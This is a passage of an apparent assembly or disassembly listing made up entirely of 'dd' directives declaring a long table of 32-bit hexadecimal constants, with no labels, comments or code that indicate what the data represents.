		dd 6564C11Eh, 0A84516h,	0A8C2FC8h, 0D0A4E292h, 0B19C2000h
		dd 0CC6CF64Dh, 0F44100D7h, 47CA049h, 0D00555BEh, 0CE1B2EBh
		dd 0E60888h, 540EFCD9h,	0BA41191Ah, 0C879DB00h,	8BA1849Dh
		dd 517D030Ah, 0D2BCD75Fh, 3709FC0h, 58807C4Ah, 59A0E7h
		dd 0DBDA7766h, 0DF94EFA9h, 0C5019513h, 44C2DC24h, 72342019h
		dd 0F5025A75h, 0FA76BE3Eh, 1CBCE09Ah, 4F98ADCh,	8682B00h
		dd 0E138C8Eh, 7A032144h, 186EAA80h, 5309F68Bh, 0EA801D90h
		dd 3E4EC078h, 0CB490387h, 0CC07A6D6h, 0BD78E09Dh, 673D3D78h
		dd 0B6538C04h, 0EC8B91B4h, 0E6980073h, 2C791715h, 944C549Ah
		dd 7BCE8098h, 74AA2E83h, 0F0455868h, 0CA9553C0h, 8500B375h
		dd 0B99F5E51h, 0E00A8ABDh, 0A03402BCh, 1EC3E857h, 0DE003059h
		dd 0A4C97D98h, 0BDF30EBAh, 13C00AFCh, 878A6AB0h, 796C0730h
		dd 0B971F92h, 11C801A2h, 2D800402h, 0B0947487h,	5C4B95BEh
		dd 48AA070Fh, 0E4DFE998h, 59D80084h, 810EA370h,	16002C66h
		dd 18C30C1Bh, 92088D65h, 0FFA40050h, 0B369EA19h, 9125AFFDh
		dd 0D568683Eh, 1B7902A1h, 0DE80764h, 0AA00F464h, 3D0BB2D8h
		dd 58ADD415h, 2F3A82C3h, 2CA1C0F2h, 0DA140D09h,	0F819B300h
		dd 82E7F92Bh, 1B9E2EFFh, 0BD370008h, 150E4188h,	0F11C6100h
		dd 19118FCEh, 29D8A0BBh, 0BFB26E1h, 584264Ch, 0F2E305D3h
		dd 0A8490104h, 0A639531h, 0A00CB469h, 0BEE63E07h, 0E8DAC251h
		dd 760070E3h, 65E27A99h, 123510DFh, 30B77DFEh, 5CE98280h
		dd 0AE788403h, 0D8CD1F31h, 705B5Dh, 213B186Bh, 82B4501Dh
		dd 6800A475h, 71067DBBh, 100DADh, 52CD8A92h, 1A64B798h
		dd 0E33C2000h, 63268708h, 0E2E50168h, 3683B804h, 0E0F8F55Ch
		dd 0FA00EDAAh, 21581E47h, 0D6D702h, 1794693h, 6143E4ACh
		dd 0FBADB800h, 0A48339D4h, 0C87B000Fh, 1C3F9EB4h, 3A1FAB48h
		dd 87F8B950h, 8C749458h, 0D34A7733h, 0BEE9D8CBh, 8EB0DDD0h
		dd 8220C1BCh, 0CED3B189h, 0D96A7907h, 0C2E8D31h, 3B1D6010h
		dd 0E9072733h, 4023AFB9h, 4A04F1D8h, 7619F48h, 88DDC206h
		dd 3914FB80h, 8DB830ECh, 1C35F661h, 0A020A8CEh,	63C9D46Dh
		dd 0CBD0F34h, 2603997Eh, 0B7901F89h, 60033288h,	9A90E39h
		dd 83401CBEh, 0FCBB8C4Ch
		dd 34009D51h, 1EBFAAA2h, 35FC363h, 0A788D0D2h, 0B9114D5Bh
		dd 0B11805B5h, 64E439D7h, 966FEB00h, 7B84B004h,	79903Ch
		dd 5D942B21h, 0DE2D31C6h, 3BF12800h, 6D183092h,	4B550333h
		dd 955C6C4Ah, 0E92D6EA0h, 5A246300h, 0F8599FC1h, 0C4395476h
		dd 44FC0A9Dh, 409C6B33h, 0EA485DFBh, 22F8780Ch,	0B82938h
		dd 0FD4A3CFh, 940D9D87h, 754A8206h, 1E399FEDh, 0D4BB6439h
		dd 0CE007CB0h, 0ABF673D3h, 0D900422Ch, 0DF760EEBh, 14071F6Ch
		dd 0C8B2FFA9h, 96013A05h, 0B81C07B1h, 89BE1094h, 0B3B05D16h
		dd 0B3DCC100h, 0FF80124Ch, 0B00B38D3h, 96B2328Ah, 730880F4h
		dd 38E8C7CBh, 7BF98300h, 184501D3h, 0BD50009Eh,	0D72B332Ch
		dd 0FF09CCCBh, 280863h,	0B49C7190h, 8CED2806h, 2E290464h
		dd 40888DECh, 3ACB1E79h, 66E98F1h, 2BE505E7h, 0BE033113h
		dd 73805CACh, 4232B8ADh, 0ED8E147Ch, 4C1E20B4h,	0B2844AD7h
		dd 0F2B00CAFh, 90099F19h, 8744FDD5h, 0A3C08B16h, 42E54Eh
		dd 3718437Dh, 96B09BABh, 861631C0h, 3B277747h, 3F03B944h
		dd 0DA36892Eh, 0AFF709F8h, 5912F1E8h, 604033CBh, 0B0768716h
		dd 0BA951EC7h, 51B240C6h, 0F618E06Ah, 58F8F424h, 7D8EA89h
		dd 72656BEFh, 4DEFA407h, 48C53EF2h, 9AB75000h, 567C0B18h
		dd 905EFFDDh, 927D3500h, 0E3C038h, 0C87F6DBBh, 0C69A6125h
		dd 0B8DA3E00h, 820BAD5Ah, 792600D9h, 0BF50F831h, 51C0AB2Bh
		dd 0D4FC146Bh, 6DC700F1h, 0C00AEDB0h, 0AD3CE16Fh, 0A35A00EEh
		dd 0FBD7F423h, 0F8D6F0C2h, 0E95D1202h, 0A18000A6h, 673661ACh
		dd 0D199F630h, 0CC18821h, 0A950F75Bh, 6C391669h, 0EA6B0090h
		dd 2524562Dh, 8C1200D9h, 32890161h, 8201A055h, 0EDBB92B8h
		dd 0BC50F38Dh, 5086FCA3h, 108403h, 51704825h, 12ACA976h
		dd 39C4AA3Fh, 0A1738006h, 0DCB7A31h, 0B14870h, 4DE82A80h
		dd 3FE2FC5Fh, 2E19A8A8h, 55C86E0Ah, 5C2AC358h, 5D7888F8h
		dd 293E2533h, 809DDBDFh, 0C01AB097h, 0E35D8C51h, 6E0098E9h
		dd 0BD965129h, 14AC49h,	0F5687594h, 0D691F33Dh,	1388013Ah
		dd 8C3034C3h, 578B60h, 2AE1570h, 3BD4C463h, 215A2A30h
		dd 75D51Bh, 5BC896A0h, 0D4600F3Ch, 0E7EAE201h, 8FB9ED03h
		dd 141089A4h, 26585CEBh, 0C2FFAF03h, 0C1F6FB82h, 0E97AE4FDh
		dd 0ECD2C00Bh, 9328069h, 0A2ABBFh, 0DF689070h, 200D252Dh
		dd 3F67BA13h, 4AC8030h,	0A7EEE6h, 45EA68D2h, 67BBEC06h
		dd 112BE418h, 273BFB1h,	0FB2FC85Fh, 868910Dh, 0AD4C05C7h
		dd 0BE3605FCh, 0E0430131h, 0FDB01Dh, 0FBCE2961h, 67AFDB2Fh
		dd 0A6B6F40Fh, 0D45A20A2h, 24B78F49h, 43206F34h, 3900A8B0h
		dd 0BB4DBAB3h, 15E18Eh,	622F8D49h, 3C4729CEh, 0B67B0CF8h
		dd 0C1FE2D03h, 8CF65DB3h, 405B8300h, 0BE02EE4Dh, 34D074E0h
		dd 1D94A3B5h, 3A318F88h, 6980FEBFh, 4CD1EEAh, 7500E145h
		dd 0F6EBA00Ah, 909B2817h, 0A254376Ch, 0A483F959h, 6FA0AC2Eh
		dd 6CB07041h, 2B84E60Dh, 0D3C4C1A5h, 37DB03E5h,	878C1A46h
		dd 0E445C9C1h, 157F514Eh, 0F031F807h, 62717C58h, 90CC53B1h
		dd 24AE070Ch, 16499E8h,	0E0FCDE92h, 0FF382D75h,	235C43Eh
		dd 0AE615433h, 0AAC22732h, 0C1092040h, 0CC51A824h, 7D0D2340h
		dd 4B9F00B1h, 45B07782h, 9A60F5E8h, 0E32C0621h,	35DE00DBh
		dd 1C44C95Ah, 306F5A5h,	0F72EADBDh, 22020329h, 0F3D69F1Bh
		dd 3EBC8100h, 0DDF44A94h, 5F2C004Fh, 23BB4CAEh,	6E5C495Dh
		dd 685A0360h, 0D8C434DAh, 905D824h, 0BD59F510h,	0EB55818h
		dd 22DB1300h, 58E31FD0h, 106200B7h, 8D889442h, 5552AA9Bh
		dd 0DCA050BCh, 82242613h, 53D4EC30h, 9BE4004Bh,	0BF33EB7Eh
		dd 0B348E5C9h, 3248803Ch, 0B8ED66h, 0E062F3D3h,	2FE3E660h
		dd 23140301h, 0B72B0143h, 245EE910h, 15402100h,	0D24C6728h
		dd 8D9701EDh, 73395AEBh, 0C9B47027h, 0BE31B209h, 48742802h
		dd 6360E780h, 701BD4Bh,	2B3D2944h, 0C2DD307Dh, 0DB61E89Ah
		dd 1B1ED2C8h, 3ACDB870h, 77094DB6h, 8C808B37h, 6D76634Bh
		dd 0A8E83C01h, 353331ADh, 7F8B69BAh, 7C0072FCh,	15FAED4Ch
		dd 0A8ECFB2Ah, 127DD003h, 0D82B37B9h, 719F1E8h,	62EC284Ch
		dd 0F9E00044h, 59263F0Ah, 0A602E42Fh, 44B1F873h, 0B358042Ch
		dd 0A52B75A2h, 94C3F858h, 380056E6h, 0EF45A107h, 2437DCh
		dd 0EE6E5105h, 4181C8D5h, 0D719F819h, 70322549h, 0F3270C01h
		dd 0C4AA9042h, 0E00825Dh, 0F4C06E46h, 12A083ACh, 330F61FFh
		dd 0ECF0B7F8h, 82003076h, 0C9A1DE51h, 18BBE63h,	0C6542C1Fh
		dd 23CF0102h, 7C030064h, 673DF8CCh, 0AAE248B4h,	0DCB94F1Fh
		dd 57C68015h, 8E0E0716h, 0EE005D7Ch, 0C97E0E3h,	5CB6303h
		dd 0AD32F0D4h, 0CC68C9CEh, 1D076FF4h, 0F13021EBh, 378CDA90h
		dd 1EAD9060h, 87D1BE61h, 0D13102ACh, 0CA873484h, 7E55D090h
		dd 95746807h, 0B374E8B2h, 4726FCD0h, 9D890BDh, 0F521E29Eh
		dd 0D2F5490h, 0F250E100h, 7543789Ah, 0CFAA0196h, 9C6E5513h
		dd 32C33D9h, 8AD36369h,	0D8C5B3EFh, 3FC9E95h, 6D3D5768h
		dd 0B9E02E93h, 290C5134h, 991C2BF1h, 0CB060FBBh, 476040FAh
		dd 38DD777Fh, 18B8CD39h, 23722F81h, 53FE00E5h, 962BA1Ah
		dd 3C0BF43Eh, 85A5F8E7h, 9053C803h, 60B8D032h, 22B2153h
		dd 22889893h, 0BA80AC36h, 0B01BF84Eh, 698F29CEh, 0C54E01CCh
		dd 0D870ADFEh, 5C408AAAh, 7B0A4213h, 0CB04993h,	0B8EFF201h
		dd 95E80AC2h, 3F30B054h, 484A73Bh, 8CBCC106h, 5F00807Ch
		dd 8BFC03A0h, 0F114BAAh, 96F365B7h, 6B322860h, 761761CDh
		dd 0F021BFE0h, 23FC4B0Dh, 6A5B05B5h, 44A373A9h,	882BB2C8h
		dd 0DB00C560h, 9629B1CAh, 26A350Eh, 4023AB5h, 0E040AB5Fh
		dd 15488FC3h, 4B7E00C8h, 0EE38C1F8h, 459F0586h,	0CCE9F2D3h
		dd 0C7B07D44h, 5A992B00h, 86EA61F8h, 5EF6093Eh,	6C015237h
		dd 0D14BA2AEh, 84B947D4h, 990B276h, 80A0FE59h, 0E50D400Eh
		dd 80300072h, 0C157A7EAh, 55502B4Eh, 0ED2ECA8Ah, 0C8408893h
		dd 48A5430Ch, 6071586Ah, 28DB5853h, 0FA13EC2Fh,	50880325h
		dd 6B83006Ch, 0E73AC60Eh, 0FC07AC92h, 85B5D2EBh, 11218CF0h
		dd 54B64C53h, 0B8912B00h, 0DE543FF4h, 3848056Ah, 0AE698B40h
		dd 947D000Eh, 0E27CBAEFh, 350FB934h, 0E0102927h, 0A97976D9h
		dd 0A68C9417h, 0BE080274h, 0EC20EDFBh, 0E21A0h,	0FD80854Ch
		dd 91AC2489h, 62633D09h, 6C44ABh, 9B7122F4h, 30C473BAh
		dd 6ECEE601h, 9DF5B8A7h, 0C55A6180h, 0D6DA20A2h, 0CD53493Ch
		dd 3CA105C0h, 1400F640h, 0E7AF665Fh, 0B3020BFDh, 0F400097Ah
		dd 86EC197Fh, 5C4CF84Eh, 4631CEh, 22BAE858h, 4CA004BCh
		dd 4A3D490Fh, 71644107h, 8BD0670Dh, 62ED0391h, 0D1637933h
		dd 725330A9h, 0DA5878h,	5E81E592h, 3BDDD7h, 0C5F90889h
		dd 2AF2F761h, 8479A8F1h, 5E053D00h, 611E5D02h, 1B872031h
		dd 215A1D0Ch, 5C7699A5h, 42C1C002h, 0F4AC7B3Fh,	0F50057DBh
		dd 92595406h, 0F94541ADh, 8B487FC3h, 0D441AEEAh, 0F62041B8h
		dd 905980CFh, 0C6E94DA1h, 7E2F025Fh, 0F5D8D61Bh, 0D000A064h
		dd 0C6B36406h, 110AEC0h, 6736D4F3h, 0C00365A6h,	4500EE32h
		dd 5DB804A3h, 2888597Ch, 0F95C2AADh, 9CCAF9CBh,	16631180h
		dd 592BFF0Fh, 0C8BD3E00h, 93665754h, 0E4F0042h,	35BB5E65h
		dd 8303DFF8h, 0BC43023Dh, 0AEB90ED5h, 0E9C09EB4h, 0E496A20h
		dd 0C7EF002h, 519436A1h
		dd 536700F4h, 2B567D79h, 0DAB38500h, 95E4ED41h,	13D370FFh
		dd 26EC48Fh, 4BBD84F0h,	0A402C480h, 0A4A347Fh, 755BF820h
		dd 0E04956Ch, 0EA80D581h, 36B32880h, 0F050C0A7h, 2AFBF367h
		dd 6AF9B8A8h, 8EE61D03h, 880DADDFh, 0EF99A880h,	0E029F060h
		dd 27949862h, 0CCA1BF38h, 0E0A697CEh, 4400A206h, 187CE1C4h
		dd 60FBC3D4h, 35CC79B0h, 0EF269F05h, 6803153Ch,	83318969h
		dd 63B10A07h, 18D655h, 6A7D7159h, 6260E2Eh, 3F610C87h
		dd 96807252h, 8BDC024Bh, 9501338Ch, 0E2616D57h,	12201A2Fh
		dd 0AB26019Eh, 154F353Bh, 0F01430BBh, 7ECF0603h, 0E12D31C9h
		dd 0E2F0A044h, 424E039Bh, 83AA34E5h, 0DF5471D8h, 0C3ACBF50h
		dd 9C573702h, 400BE132h, 2ECF10h, 0DACAB955h, 31A2A1FEh
		dd 0F5AF2515h, 0C1830088h, 0EEB19D53h, 0C2D89566h, 29006CB1h
		dd 958DE793h, 23CC007Bh, 6566400Dh, 0D901FDDAh,	0FEEA91DCh
		dd 461FB09h, 0AE053873h, 804A75D1h, 0CC0193C4h,	501FD90Ah
		dd 56808CA2h, 57B2302Eh, 63040449h, 0EABCC9CCh,	838E3200h
		dd 178DA4Eh, 473E6020h,	81ABBBDEh, 7B494FB1h, 0D84419E3h
		dd 0C43AD409h, 32921D0Ch, 178E801Ah, 206BD4AAh,	2A0AE80Bh
		dd 0F5F440CFh, 0E00CB231h, 0CD773AFDh, 522A6h, 95AB74E1h
		dd 0B6602A20h, 374A1EA9h, 39CD003Ch, 6A73945Ah,	523E6046h
		dd 813482AFh, 6450B2F1h, 0EDE4A8h, 4A8BF6Bh, 92B6BC28h
		dd 0B8AED804h, 0A0E4B1FEh, 0F64E27B7h, 5B9F80A0h, 0D200F9B8h
		dd 9B492115h, 26A7C7DDh, 93493BDh, 3090B931h, 0B07159Eh
		dd 0DAA95E4Fh, 319360AFh, 0E830AF2Eh, 150919Ch,	884CDDA0h
		dd 2079E891h, 38EA502h,	0C18D9D22h, 9039BC21h, 0A0BBA800h
		dd 0EDE36CE0h, 30402B5Bh, 1F112327h, 0E785020Eh, 50CE1754h
		dd 7E148C90h, 83A88A00h, 0BFD628A9h, 0C36800ADh, 79FA9D4Fh
		dd 315836DCh, 0B0916489h, 8DC088h, 5EE25085h, 786E7BC2h
		dd 3243D00h, 0A8B2CF40h, 4AD902DDh, 2A3619F8h, 0DB038CC4h
		dd 0B3DC7B25h, 1B909F99h, 1EB0E80Eh, 8E1302D6h,	15E1328Dh
		dd 513056A9h, 0FA6F31ACh, 0F900B4D9h, 66AFBB6Dh, 0AD0D3A89h
		dd 0CAC09C09h, 68670810h, 551F0900h, 0E5D665CCh, 26F12D1h
		dd 23A00014h, 0A2A61519h, 4704E8EAh, 73BD7D6Ch,	0AA1EE8F2h
		dd 513D89E2h, 11A4C48Ah, 918F0E04h, 0CF88E717h,	4B736810h
		dd 20034A1Ch, 48572434h, 0A355600h, 0D42D19E9h,	0FBB190C4h
		dd 24DB5C20h, 812072F5h, 4EFBA68h, 0F5E2C22Ah, 879D40F7h
		dd 431601AEh, 0CD4A0E1Ah, 0B3AC2037h, 0F89FE12Ch, 716DE60h
		dd 0A98C007Ah, 0F36F9443h, 0ACE6FA59h, 12E290B0h, 9D24D65Ch
		dd 0D9F6A700h, 3C4CD6Fh, 0B2C94AEh, 1CCBF5EEh, 61BF63F0h
		dd 535C8BF4h, 0A9190BCCh, 174C982Ah, 2160908Dh,	26060701h
		dd 0F061B834h, 36A0197h, 0D23D9F4Ah, 0EC622Bh, 1355CDBh
		dd 1DE7B629h, 288C4FEh,	0D6CA3D70h, 46512C60h, 0D4BF1C12h
		dd 0E2EB2C43h, 0FF87E864h, 25C00A0Dh, 12346B34h, 2CFC30D4h
		dd 66E245ECh, 2B50CB00h, 59A771ACh, 9F230134h, 0A9616C57h
		dd 0D49C3167h, 0ED7CC02Ah, 85BBB094h, 54ADBDA0h, 0A8007412h
		dd 3602A2C6h, 24A8021Bh, 0A7ACB211h, 0D6595CE0h, 0EB8028BEh
		dd 0C9C58422h, 9DC400A2h, 0ADF6C3E1h, 6028C8Fh,	0CE0BE559h
		dd 0D03892E8h, 40B89CD8h, 0F8F5A658h, 27E40500h, 2FD4A937h
		dd 643416F0h, 0D1CC30D6h, 0C6008FBBh, 42FC4B58h, 46A308h
		dd 0C3D38A12h, 16A8496Ch, 4DCFA90Bh, 4CD00296h,	3FC8C42Bh
		dd 1C80E014h, 0A1CE941Eh, 0C0497FADh, 50741240h, 9047ACD0h
		dd 375004Eh, 41807028h,	6924CE87h, 20006D1h, 96BE6FEFh
		dd 99F66040h, 0B3F50F83h, 0A7F22805h, 1C9820ADh, 60D205BEh
		dd 947B94Bh, 5490B085h,	1A00FB89h, 31076756h, 0E0DEF659h
		dd 8C22E958h, 5EA56E00h, 5CD70791h, 2FBA9300h, 8B8F5535h
		dd 8AD90002h, 34093E04h, 3007625h, 2732DF65h, 0B81AC084h
		dd 0D6811D20h, 486706ACh, 0CA0090A3h, 6C4B7A98h, 583B5C0h
		dd 0FB91D6B8h, 0B908C161h, 0B4601012h, 0B70C13FCh, 14EC20CAh
		dd 0C60087B0h, 2793B92h, 65A3D5Eh, 2FD82961h, 0F104A40Dh
		dd 429752B6h, 7A3C1C81h, 90115870h, 7591240h, 22CC03FDh
		dd 20A188A1h, 40CAF497h, 65030DF0h, 7C2A458Bh, 0E678D006h
		dd 8889066Bh, 99320A31h, 50AD5A5Ch, 8EE4B698h, 0D810F0C0h
		dd 2AC7Fh, 7CC86201h, 0B224498h, 4699E703h, 1F2B89h, 0F3C37541h
		dd 0EAC10E4Eh, 0FE18E57Eh, 4CA02261h, 0A2DE1201h, 0F57020FCh
		dd 0D5006B3Ch, 0F73B9E15h, 0EBB8F1Ah, 0EF7381FEh, 0F928F060h
		dd 9222E251h, 3D9248Dh,	0C5B0094h, 7CD4A724h, 0A02AE218h
		dd 18E2921h, 93F59836h,	292EAB4Bh, 0F1187F78h, 0AA29D1BFh
		dd 900AEAB2h, 0F3200039h, 75904DFFh, 2894D63Bh,	548B7196h
		dd 0ACEC004Ah, 0DAE7166h, 93052C7Eh, 0B4EC2769h, 68CB5409h
		dd 0F0545Ch, 196FA6E8h,	0E0909134h, 0A2F30A02h,	46C85375h
		dd 32FD1DF8h, 0D5960026h, 385C3BB6h, 0F6947C2Eh, 8661C500h
		dd 0F39126Ch, 23726391h, 5C28FD80h, 4612B94Ah, 0E830E1B6h
		dd 0CBF798h, 9864EBBh, 0AF5A8183h, 0C2CCF305h, 8E072E2Ah
		dd 0FB2360BFh, 0F48150E7h, 3D3303B2h, 4825D886h, 75A076B0h
		dd 0DB3E8401h, 4F3C2ABh, 0DD070h, 772F29D6h, 399E88F6h
		dd 0BC5ED37Ah, 7B27440h, 5A2F93h, 79252E44h, 42F2949Fh
		dd 91DE3400h, 323664EAh, 8B28262Fh, 418C2618h, 22387D31h
		dd 0C032A48h, 5889B977h, 720E2060h, 0A85B0942h,	9C6AF5DCh
		dd 178BE740h, 87E44000h, 698CDEACh, 9874A891h, 34F701A3h
		dd 0B3DAC643h, 519CE846h, 0AD4EAB06h, 5F60190Bh, 50044B25h
		dd 73C6CCC8h, 4276031Dh, 674A7700h, 0B8FFBCh, 0AEC55506h
		dd 6182F5B0h, 3B0065FCh, 0D95B2BE6h, 0A63E87h, 1ADEB505h
		dd 0EEC712EDh, 3026AA0Dh, 84EC3970h, 8664000Fh,	5FEF6F8h
		dd 0C7481B0Ah, 355501E1h, 0DD13D09Eh, 30FFE3F0h, 0B20847EBh
		dd 27008716h, 0E7B9CCC2h, 0FD53FE8h, 0E5085105h, 0D8F46600h
		dd 850C713Ch, 0E8BB5CC9h, 155F28Ch, 0F8B1B0D7h,	8F9BEDC5h
		dd 0E034AE08h, 0E9FC8486h, 21070057h, 4E0554DDh, 0D203E33Ch
		dd 51903D36h, 0D03106BEh, 584CE71Bh, 0D3E97F02h, 0C216FC32h
		dd 398BC0BBh, 0BBE1C02Ah, 2D7B723h, 0F4099CE2h,	0F710F1BFh
		dd 1049F187h, 30E49DD2h, 955EF500h, 0FC421AC9h,	0BDB4CBDh
		dd 0A69EA963h, 3288A3F0h, 5A0E6E00h, 2196CC8h, 638600EEh
		dd 773B6723h, 30C0B0C7h, 2AB12139h, 6120029h, 1AFF34ECh
		dd 600C82FCh, 2885A623h, 5C7E0370h, 6DAED33Eh, 0FC89F481h
		dd 0C90E77A8h, 12147BBh, 0CD903688h, 729448h, 0F330D710h
		dd 0D5C72D86h, 0C2910CA0h, 606F6400h, 0E25DCBE5h, 0B7BF01C1h
		dd 0EFA189B0h, 0ECFFE44Bh, 4C0ABE75h, 9091236Fh, 0B702F803h
		dd 64889889h, 6976002Fh, 5F10BE07h, 7B3ACCBDh, 20C80CB2h
		dd 153159h, 0B8AA8246h,	0A7F6E791h, 18C05800h, 8C21D275h
		dd 0E529C0C4h, 9593285Ch, 0C82078CAh, 0D51100BEh, 9F8AA49Dh
		dd 627B00CDh, 4219D3F7h, 8B099AACh, 30871DFh, 0C2BF82ACh
		dd 85AC901Ah, 84E4029Bh, 0D3236138h, 0E0D0A4A1h, 0AC9DF843h
		dd 0FAF74C00h, 6EFD45F5h, 753207A6h, 80DC59B1h,	0BE4B3CE2h
		dd 760D2239h, 88241A18h, 3F13058h, 0DA83EBB0h, 60A09F63h
		dd 255CE193h
		dd 0B9AF3184h, 3180521Dh, 33562FDDh, 0FF005066h, 0CA6930A7h
		dd 0A82DEDCCh, 199CC8h,	0D3547F0Eh, 1BF50AFCh, 6C04BFE8h
		dd 0D14EEBD0h, 208D0880h, 258200DDh, 99595EBBh,	94AA013Bh
		dd 0FF278580h, 0AF071A2Eh, 0C4E59C72h, 0F477617Ch, 85F8EAh
		dd 0B8BED967h, 0DF3051F6h, 402450E8h, 0E660342Dh, 2C4E2F5Ch
		dd 90C601h, 28A8C2C4h, 3F0986FAh, 85CEC8h, 0D36254A4h
		dd 0E4F4004Bh, 0EED47966h, 0DD02F015h, 1155C96Eh, 8F80A227h
		dd 78548505h, 0BDEBCFC0h, 8C250A28h, 87989223h,	0F06110C8h
		dd 435CD94Ah, 5549FD00h, 805020Bh, 8D420006h, 0FF90A393h
		dd 1D3118EDh, 342C6153h, 844EC4h, 28AD5224h, 0E34D7827h
		dd 3018F433h, 40E2A2EEh, 2A959C30h, 1D8CBD51h, 0C1C782BAh
		dd 7C801AD0h, 92B442C1h, 0D0428061h, 0E5005772h, 2A25225Ah
		dd 7C3CF62Dh, 1BA506BEh, 49B19B1Ah, 4E846B07h, 0D290595Ch
		dd 724F39h, 89EFBB11h, 86D31C5Bh, 30E76000h, 20A55CB3h
		dd 10556125h, 816999h, 1EE105F8h, 0C138142Ch, 7821193h
		dd 749C500Fh, 0C007AF5Ch, 3071F57Dh, 801048B0h,	4477507Ah
		dd 0AB5F00B9h, 0EC95B224h, 0FE1DE702h, 0C30086C2h, 0F7773742h
		dd 5EEBEACEh, 62B895h, 93E855C8h, 0A5278D3h, 56832116h
		dd 0D4E381C8h, 0D9E2736Fh, 65D9EC72h, 198F69C7h, 9120999Ch
		dd 0CFF00ACh, 822556A4h, 0A952DE07h, 9740723Ah,	7AAF4A6h
		dd 0BECDAF37h, 0C1A23CCh, 0FA554108h, 0A4143CCBh, 0AC00BC36h
		dd 1C87943Fh, 0CC3F02EFh, 0F64183C3h, 3D2B3934h, 38001739h
		dd 9DC555Ah, 0C2007682h, 6EEF6352h, 708F0B7h, 308AA642h
		dd 40BC2590h, 193763D4h, 2077D1DCh, 0F680E9DDh,	931E8308h
		dd 3EFA0C5Bh, 0F388A361h, 0E771DAEEh, 0D8247304h, 3C84205Ch
		dd 421BB820h, 717C0178h, 0FC50366Fh, 7EEDCC01h,	7D4CA503h
		dd 0A620C7D2h, 0DACA0069h, 0E78141B1h, 75018AF2h, 36AB6729h
		dd 0A888D0C2h, 288FBF51h, 83C0A1Bh, 0FC33CA00h,	0AD3CD86h
		dd 23D08270h, 0C388002Ch, 19A02AE8h, 0A4DB6700h, 0FDD4F599h
		dd 236E265Bh, 0BC424EA4h, 8286B555h, 302260D7h,	9CBA009Bh
		dd 535EA052h, 4A083B6Fh, 0D61D15h, 0FF4811C5h, 0D00A806Eh
		dd 80957746h, 0BFD7B881h, 20C07D9Eh, 69C70058h,	0B3375719h
		dd 233E67A7h, 848878DEh, 716B00E3h, 12804156h, 61C5D395h
		dd 0AC1DC8AEh, 203600E2h, 1942FE45h, 0FB767E69h, 0E23EBCB8h
		dd 8054CCC9h, 6EBB0892h, 83711E90h, 5EF900B9h, 0E524FC65h
		dd 0A12A7904h, 0FC8032B6h, 9530AE0h, 0B85590F9h, 4D9E3810h
		dd 0CAFB5618h, 28EA8F11h, 7C776Bh, 7A441EE6h, 1A7CE861h
		dd 4CC80CA2h, 0C4002FCCh, 92548713h, 7FC2B664h,	35522E16h
		dd 8D11051Eh, 78648CD4h, 0C7464504h, 4C1ADE0h, 0FE471863h
		dd 8C723C80h, 0C9A724A1h, 9A0560A8h, 600D2A4h, 80EA48D1h
		dd 0ED75B9h, 557E58E2h,	0B65C82BCh, 442E9026h, 4F78C940h
		dd 0F63E7F9Eh, 169C2E53h, 0F4C808h, 66D4D4Fh, 202CACFCh
		dd 449D49Eh, 7C802994h,	0CCABADAh, 0E41BBE73h, 0F900D0C1h
		dd 0E3DF3CD6h, 2C2D20C3h, 4330A490h, 2900083Bh,	965EC735h
		dd 1E19FFE8h, 8049B6D2h, 0BEE2BD99h, 9389FB3Fh,	6A2F870h
		dd 3025C4A3h, 0E7001902h, 0F45F3758h, 16752A77h, 8A94B27h
		dd 7B3A3C7Ch, 32C07F3Dh, 2001A065h, 21B28055h, 67387A3Fh
		dd 50CA30D1h, 6B007511h, 0E85AF4BAh, 463B26AAh,	0FF1A8042h
		dd 53DE69E3h, 0B6EF133Dh, 0A38C02FDh, 50E47820h, 693FC0Ch
		dd 25F54929h, 92FCC80Eh, 8A30D401h, 0E4309339h,	0A73F0F2Ch
		dd 0CFA1A3E1h, 66BFF10Bh, 13F80380h, 0C27B22h, 0ADA24259h
		dd 0BB1053A9h, 0BC19D402h, 441A18C9h, 0F57288h,	0E6B3FC7Fh
		dd 0EFACBD90h, 0C08D1D00h, 22E2C30Ch, 3C250723h, 8E69EAB9h
		dd 0CCCF53A0h, 552EFF6Ah, 5408843h, 90D25Bh, 451B92EBh
		dd 0CC325DC4h, 0E8F097h, 0D8B6CE42h, 31C8D9AFh,	50C4CA2Eh
		dd 6195EF4Fh, 779D25F4h, 5B008472h, 78143933h, 802EDD6Fh
		dd 716048ECh, 9D97FB3h,	0C35C0CBCh, 63018498h, 0BF7E2500h
		dd 0EDCB9053h, 75D90766h, 0B1EA4582h, 91204EFEh, 0D407C8B8h
		dd 0B3E4C2F1h, 6100E739h, 85969027h, 16A11142h,	0B7EED6h
		dd 518DF6A8h, 2C24DD21h, 0B407CC7h, 0B033ADEh, 0CF04280h
		dd 41C37404h, 0E570413h, 88D59870h, 0EF07091Dh,	0F06F1FFBh
		dd 0FCAC39F0h, 0C42225E6h, 95B15882h, 0A40244E2h, 0D8E05DCFh
		dd 997B3EA6h, 0FAD4C400h, 0B2A5EEE5h, 39252CCBh, 0FC9640E4h
		dd 0F73B0BBEh, 38520198h, 0FD8495ACh, 409F082Ch, 41E8F0A0h
		dd 0E2183C35h, 0FB9999C4h, 7A3017Ah, 111D918Fh,	0C713C049h
		dd 0B2212F6Eh, 352300AFh, 0A1BFECE8h, 0F045C000h, 52C3386Eh
		dd 822E094Ch, 0F400D40Dh, 0E328B7C4h, 404B3C07h, 4840FDEDh
		dd 534C9F50h, 6800C056h, 3C92B208h, 349282BBh, 0BEDECA1Dh
		dd 2680B61Dh, 0D2CFA95Bh, 1D870256h, 0E0F4674Ch, 0F1BCC887h
		dd 507701A4h, 0D2E2B29Ch, 30287D5Ch, 28256185h,	74452555h
		dd 68F4A8h, 239CD230h, 7D0095F7h, 845DB99Dh, 0E0EA1C04h
		dd 27229h, 19D60EECh, 4172BED4h, 1870E174h, 0EC1AB8A8h
		dd 0EBA5304h, 0A0A0FCE8h, 5C074BB2h, 0B36281F8h, 0C465C0CFh
		dd 48038D53h, 0E60C1239h, 4033F0A2h, 41074EBDh,	0C331F89Ch
		dd 8FFFF804h, 94D50200h, 0FC6D85EEh, 0D0CD3D59h, 0B1085800h
		dd 5C9A7BECh, 640290E8h, 66E48FFEh, 0E180850Dh,	854AC081h
		dd 2278D511h, 56C84048h, 25DDDE00h, 0FE096908h,	203A4B51h
		dd 0D0A8540h, 7CFDEB3Bh, 0DC1CF61Dh, 9D4A38F1h,	82B89840h
		dd 0E9E701C1h, 0E8E637DAh, 0F78087D6h, 0CF7417h, 225AF5D0h
		dd 709B82h, 0D5722CEBh,	0E3011B23h, 9031EAC2h, 54429839h
